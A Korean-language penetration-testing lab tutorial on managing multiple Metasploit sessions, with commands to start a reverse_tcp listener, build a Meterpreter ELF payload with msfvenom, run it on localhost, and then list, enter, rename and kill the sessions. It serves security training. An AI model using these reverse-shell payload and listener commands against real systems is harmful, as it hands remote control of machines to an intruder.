Metasploit 에서 여러 세션 관리하기

Kali LinuxBeginner
지금 연습하기

소개

모의 해킹 (penetration testing) 시 여러 시스템에 동시에 접근하는 경우가 흔합니다. Metasploit Framework 는 이러한 연결, 즉 "세션 (session)"을 관리하는 강력한 방법을 제공합니다. 세션은 손상된 대상과의 활성 연결로, 명령줄 쉘 (command-line shell) 또는 고급 Meterpreter 세션일 수 있습니다.

이러한 세션을 효과적으로 관리하는 것은 매우 중요한 기술입니다. 이를 통해 워크플로우를 구성하고, 대상 간을 원활하게 전환하며, 손상된 자산에 대한 제어권을 유지할 수 있습니다. 본 랩에서는 Metasploit 에서 여러 세션을 관리하기 위한 기본 명령어를 배우게 됩니다. 세션을 획득하고, 목록을 확인하고, 특정 세션과 상호 작용하고, 더 나은 구성을 위해 이름을 변경하고, 마지막으로 세션을 깔끔하게 종료하는 연습을 할 것입니다.

여러 Meterpreter 또는 쉘 세션 획득

이 단계에서는 Metasploit 에 리스너를 설정한 다음 페이로드를 실행하여 두 개의 별도 Meterpreter 세션을 생성합니다. 이는 두 개의 다른 시스템에 접근하는 것을 시뮬레이션합니다.

먼저 터미널을 열고 Metasploit Framework 콘솔을 시작합니다. -q 플래그는 배너를 표시하지 않고 조용하게 시작하도록 합니다.

msfconsole -q

다음으로, 수신 연결을 기다리기 위해 multi/handler라는 일반 리스너를 구성합니다.

use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444

이제 -j 플래그를 사용하여 리스너를 백그라운드 작업으로 실행합니다. 이렇게 하면 리스너가 백그라운드에서 실행되는 동안 msfconsole 프롬프트에서 다른 명령을 사용할 수 있습니다.

run -j

핸들러가 시작되었다는 확인 메시지가 표시됩니다.

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

이제 이 리스너에 연결할 페이로드를 생성하고 실행해야 합니다. 터미널 창의 + 아이콘을 클릭하여 새 두 번째 터미널 탭을 엽니다.

이 새 터미널에서 msfvenom을 사용하여 페이로드를 생성합니다. 이 명령은 실행 시 리스너에 연결되는 ELF 실행 파일을 생성합니다.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf

생성된 페이로드 파일에 실행 권한을 부여합니다.

chmod +x ~/project/payload.elf

이제 페이로드를 두 번 실행하여 두 개의 세션을 생성합니다. 명령을 즉시 다시 실행할 수 있도록 백그라운드 프로세스 (&) 로 실행합니다.

./payload.elf &
./payload.elf &

msfconsole이 있는 첫 번째 터미널 창으로 다시 전환합니다. 두 개의 Meterpreter 세션이 열렸다는 메시지가 표시됩니다.

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38998) at 2023-10-27 10:30:00 -0400
[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:39000) at 2023-10-27 10:30:05 -0400

이제 두 개의 활성 세션을 성공적으로 설정했습니다.

sessions 명령어로 모든 활성 세션 나열하기

이 단계에서는 설정한 모든 활성 세션을 확인하는 방법을 배웁니다. 여러 세션이 열려 있을 때, 무엇에 연결되어 있는지 확인하기 위해 세션 목록을 볼 방법이 필요합니다.

sessions 명령어가 이 목적으로 사용됩니다. msfconsole 터미널에서 단순히 sessions를 입력하면 모든 활성 세션 목록을 얻을 수 있습니다. -l 플래그는 list 의 별칭이며 동일한 기능을 수행합니다.

sessions

출력은 각 세션에 대한 정보를 포함하는 테이블 형식으로 표시됩니다.

Active sessions
===============

  Id  Name  Type                   Information              Connection
  --  ----  ----                   -----------              ----------
  1         meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:38998 (...)
  2         meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:39000 (...)

이 테이블은 명확한 개요를 제공합니다.

  • Id: 각 세션에 대한 고유 번호로, 세션과 상호 작용하는 데 사용됩니다.
  • Name: 세션에 대한 사용자 지정 이름 (현재 비어 있음).
  • Type: 세션 유형 (예: meterpreter, shell).
  • Information: 사용자 ID 와 같은 손상된 시스템에 대한 세부 정보.
  • Connection: 소스 및 대상 IP 주소 및 포트.

sessions -i 명령어로 특정 세션과 상호 작용하기

이 단계에서는 목록에서 특정 세션을 선택하고 상호 작용하는 방법을 배웁니다.

작업하려는 세션을 식별한 후에는 sessions 명령어에 -i (interact) 플래그를 사용하고 세션 ID 를 뒤에 붙여 사용할 수 있습니다.

첫 번째 세션 (ID 1) 과 상호 작용해 보겠습니다.

sessions -i 1

명령 프롬프트가 msf6 >에서 meterpreter >로 변경됩니다. 이는 현재 Meterpreter 세션 내에 있으며 Meterpreter 별 명령을 실행할 수 있음을 나타냅니다.

[*] Starting interaction with 1...

meterpreter >

세션 내에 있는지 확인하려면 sysinfo와 같은 간단한 명령을 실행하여 대상 시스템 정보를 가져옵니다.

sysinfo

다음과 유사한 출력이 표시됩니다.

Computer     : labex-virtual-machine
OS           : Ubuntu 22.04 (Linux 5.15.0-78-generic)
Architecture : x64
System Language: en_US
Meterpreter  : x64/linux

세션 내에서의 작업이 끝나면 세션을 종료하지 않고 기본 msfconsole 프롬프트로 돌아갈 수 있습니다. 이를 위해 background 명령어를 사용합니다.

background

그러면 세션이 백그라운드로 이동하고 msf6 > 프롬프트로 돌아가 다른 세션을 관리할 수 있습니다.

[*] Backgrounding session 1...
msf6 exploit(multi/handler) >

sessions -n 명령어로 세션 이름 변경하여 관리 용이하게 하기

이 단계에서는 세션 이름을 변경하는 방법을 배웁니다. 많은 세션을 관리할 때 기본 이름은 설명적이지 않습니다. 의미 있는 레이블 (예: "WebServer", "DBServer") 로 세션 이름을 변경하면 식별하기가 훨씬 쉬워집니다.

sessions 명령어에 -n (name) 플래그를 사용하여 세션 이름을 변경할 수 있습니다. 구문은 sessions -n <NewName> <ID>입니다.

세션 2의 이름을 TestHost와 같이 더 설명적인 이름으로 변경해 보겠습니다.

sessions -n TestHost 2

Metasploit 는 세션 이름이 변경되었음을 확인합니다.

[*] Session 2's name has been changed to TestHost.

이제 세션 목록을 다시 나열하여 변경 사항을 확인합니다.

sessions

출력 테이블의 "Name" 열에 세션 2 의 새 이름이 표시됩니다.

Active sessions
===============

  Id  Name      Type                   Information              Connection
  --  ----      ----                   -----------              ----------
  1             meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:38998 (...)
  2   TestHost  meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:39000 (...)

이를 통해 대상을 추적하기가 훨씬 쉬워집니다.

sessions -k 명령어로 세션 종료하기

이 단계에서는 세션을 종료하는 방법을 배웁니다. 대상 시스템에서의 작업을 마쳤거나 더 이상 세션이 필요하지 않은 경우, 세션을 닫는 것이 좋습니다.

세션을 종료하거나 "kill"하려면 sessions 명령어에 -k (kill) 플래그를 사용하고 세션 ID 를 뒤에 붙입니다.

세션 1을 종료해 보겠습니다.

sessions -k 1

Metasploit 는 세션을 중지하고 있음을 확인합니다.

[*] Stopping session 1...
[*] 127.0.0.1 - Meterpreter session 1 closed.  Reason: User exit

세션이 종료되었는지 확인하기 위해 활성 세션 목록을 다시 한번 나열합니다.

sessions

출력에는 이제 남은 세션인 TestHost만 표시됩니다.

Active sessions
===============

  Id  Name      Type                   Information              Connection
  --  ----      ----                   -----------              ----------
  2   TestHost  meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:39000 (...)

이제 불필요한 세션을 성공적으로 정리했습니다.

요약

이 실습을 완료하신 것을 축하드립니다! Metasploit Framework 내에서 여러 세션을 관리하는 데 필수적인 기술을 익혔습니다.

이 실습에서는 다음을 연습했습니다.

  • multi/handler와 페이로드 (payload) 를 사용하여 여러 Meterpreter 세션 생성하기.
  • sessions 명령어로 모든 활성 세션 나열하기.
  • sessions -i <ID>를 사용하여 특정 세션과 상호 작용하기.
  • sessions -n <Name> <ID>를 사용하여 세션 이름을 변경하여 관리 용이하게 하기.
  • sessions -k <ID>를 사용하여 세션을 깔끔하게 종료하기.

이러한 명령어를 숙달하는 것은 모든 침투 테스터에게 기본이 됩니다. 이를 통해 여러 침해된 시스템을 효율적이고 체계적으로 제어할 수 있습니다.